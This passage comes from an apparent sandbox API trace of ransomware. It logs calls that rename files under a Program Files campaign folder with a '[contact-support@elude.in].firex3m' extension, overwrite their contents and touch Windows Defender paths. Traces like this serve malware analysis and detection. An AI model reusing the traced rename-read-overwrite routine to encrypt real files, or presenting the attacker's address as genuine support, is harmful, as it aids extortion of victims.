ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2a33eb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x49250a15, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0xaa87496, dwReserved1=0x6860c0, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d4ec0 [0220.114] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0220.114] Sleep (dwMilliseconds=0x1) [0221.702] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\index.html", len=0x6f | out: pbstr=0x587ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\index.html") returned 1 [0221.702] GetProcessHeap () returned 0x630000 [0221.706] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50d0) returned 0x6fe3bb0 [0221.706] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ko-kr\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0221.707] CloseHandle (hObject=0x6a4) returned 1 [0221.707] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0221.707] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ko-kr\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ko-kr\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0221.708] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.708] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: lpFindFileData=0x587fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9fa2, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5200 [0221.708] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0221.708] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ko-kr\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0221.708] GetProcessHeap () returned 0x630000 [0221.708] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9fc1) returned 0x70a7c70 [0221.708] GetProcessHeap () returned 0x630000 [0221.708] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9fc1) returned 0x72846e0 [0221.708] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.708] ReadFile (in: hFile=0x6a4, lpBuffer=0x70a7c70, nNumberOfBytesToRead=0x9fa0, lpNumberOfBytesRead=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70a7c70*, lpNumberOfBytesRead=0x587ff0c*=0x9fa0, lpOverlapped=0x0) returned 1 [0224.738] GetProcessHeap () returned 0x630000 [0224.738] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177718 [0224.738] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.738] WriteFile (in: hFile=0x6a4, lpBuffer=0x72846e0*, nNumberOfBytesToWrite=0x9fa0, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72846e0*, lpNumberOfBytesWritten=0x587ff0c*=0x9fa0, lpOverlapped=0x0) returned 1 [0225.560] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.560] WriteFile (in: hFile=0x6a4, lpBuffer=0x728e67f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x728e67f*, lpNumberOfBytesWritten=0x587ff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.735] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.735] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x587ff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.735] CloseHandle (hObject=0x6a4) returned 1 [0225.735] GetProcessHeap () returned 0x630000 [0225.735] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72846e0 | out: hHeap=0x630000) returned 1 [0225.735] GetProcessHeap () returned 0x630000 [0225.735] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70a7c70 | out: hHeap=0x630000) returned 1 [0225.735] GetProcessHeap () returned 0x630000 [0225.735] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177718 | out: hHeap=0x630000) returned 1 [0226.662] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.662] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fcc4 | out: lpFindFileData=0x587fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c7f5824, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9fc6, dwReserved0=0xaa87496, dwReserved1=0x70a7c68, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d4f40 [0226.662] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0226.662] Sleep (dwMilliseconds=0x1) [0226.675] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\Windows Defender\\ProtectionManagement.mof", len=0x3a | out: pbstr=0x587ff7c*="C:\\Program Files\\Windows Defender\\ProtectionManagement.mof") returned 1 [0226.676] GetProcessHeap () returned 0x630000 [0226.676] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51ec) returned 0x6fe3bb0 [0226.676] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\ProtectionManagement.mof" (normalized: "c:\\program files\\windows defender\\protectionmanagement.mof"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.679] Sleep (dwMilliseconds=0x1) [0226.687] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\Windows Defender\\en-US\\ProtectionManagement.mfl", len=0x40 | out: pbstr=0x587ff7c*="C:\\Program Files\\Windows Defender\\en-US\\ProtectionManagement.mfl") returned 1 [0226.687] GetProcessHeap () returned 0x630000 [0226.687] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51c0) returned 0x6fe3bb0 [0226.687] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\en-US\\ProtectionManagement.mfl" (normalized: "c:\\program files\\windows defender\\en-us\\protectionmanagement.mfl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.694] Sleep (dwMilliseconds=0x1) [0226.702] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x587ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\toastreviewsettings.xml") returned 1 [0226.702] GetProcessHeap () returned 0x630000 [0226.702] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5174) returned 0x6fe3bb0 [0226.702] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-cn\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0226.723] CloseHandle (hObject=0x6a8) returned 1 [0226.723] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.723] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-cn\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-cn\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0227.327] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.327] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: lpFindFileData=0x587fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5480 [0227.327] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0227.327] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-cn\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0227.328] GetProcessHeap () returned 0x630000 [0227.328] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f41b8 [0227.328] GetProcessHeap () returned 0x630000 [0227.328] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3c90 [0227.328] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.328] ReadFile (in: hFile=0x6a8, lpBuffer=0x6f41b8, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f41b8*, lpNumberOfBytesRead=0x587ff0c*=0x180, lpOverlapped=0x0) returned 1 [0227.331] GetProcessHeap () returned 0x630000 [0227.331] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176480 [0227.331] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.331] WriteFile (in: hFile=0x6a8, lpBuffer=0x6f3c90*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3c90*, lpNumberOfBytesWritten=0x587ff0c*=0x180, lpOverlapped=0x0) returned 1 [0227.331] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.331] WriteFile (in: hFile=0x6a8, lpBuffer=0x6f3e0f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3e0f*, lpNumberOfBytesWritten=0x587ff0c*=0x20, lpOverlapped=0x0) returned 1 [0227.331] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.331] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x587ff0c*=0x4, lpOverlapped=0x0) returned 1 [0227.331] CloseHandle (hObject=0x6a8) returned 1 [0227.331] GetProcessHeap () returned 0x630000 [0227.331] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3c90 | out: hHeap=0x630000) returned 1 [0227.331] GetProcessHeap () returned 0x630000 [0227.331] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f41b8 | out: hHeap=0x630000) returned 1 [0227.331] GetProcessHeap () returned 0x630000 [0227.331] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176480 | out: hHeap=0x630000) returned 1 [0227.331] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.331] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fcc4 | out: lpFindFileData=0x587fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7284f4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1b2, dwReserved0=0x587fd20, dwReserved1=0x6f41b8, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d4f00 [0227.332] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0227.332] Sleep (dwMilliseconds=0x1) [0229.328] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x587ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\toastreviewsettings.xml") returned 1 [0229.328] GetProcessHeap () returned 0x630000 [0229.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50fc) returned 0x6fe3bb0 [0229.329] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pl-pl\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0229.329] CloseHandle (hObject=0x640) returned 1 [0229.329] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0229.329] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pl-pl\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pl-pl\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0229.330] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0229.330] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: lpFindFileData=0x587fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f741ca5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f741ca5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5200 [0229.331] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0229.331] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pl-pl\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0229.331] GetProcessHeap () returned 0x630000 [0229.331] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa440 [0229.331] GetProcessHeap () returned 0x630000 [0229.331] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa090 [0229.331] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.331] ReadFile (in: hFile=0x640, lpBuffer=0x74aa440, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa440*, lpNumberOfBytesRead=0x587ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0229.334] GetProcessHeap () returned 0x630000 [0229.334] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177830 [0229.334] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.334] WriteFile (in: hFile=0x640, lpBuffer=0x74aa090*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa090*, lpNumberOfBytesWritten=0x587ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0229.334] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.334] WriteFile (in: hFile=0x640, lpBuffer=0x74aa22f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa22f*, lpNumberOfBytesWritten=0x587ff0c*=0x20, lpOverlapped=0x0) returned 1 [0229.334] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.334] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x587ff0c*=0x4, lpOverlapped=0x0) returned 1 [0229.334] CloseHandle (hObject=0x640) returned 1 [0229.334] GetProcessHeap () returned 0x630000 [0229.334] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa090 | out: hHeap=0x630000) returned 1 [0229.334] GetProcessHeap () returned 0x630000 [0229.334] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa440 | out: hHeap=0x630000) returned 1 [0229.334] GetProcessHeap () returned 0x630000 [0229.334] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177830 | out: hHeap=0x630000) returned 1 [0229.334] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0229.335] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fcc4 | out: lpFindFileData=0x587fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f741ca5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f741ca5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4ea3e477, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1de, dwReserved0=0x587fd20, dwReserved1=0x74aa440, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d53c0 [0229.335] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0229.335] Sleep (dwMilliseconds=0x1) [0231.073] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x587ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\toastbeginupgradeth2.xml") returned 1 [0231.073] GetProcessHeap () returned 0x630000 [0231.074] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50c8) returned 0x6fe3bb0 [0231.074] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-be\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0234.010] CloseHandle (hObject=0x620) returned 1 [0234.010] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0234.016] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-be\\toastbeginupgradeth2.xml"), 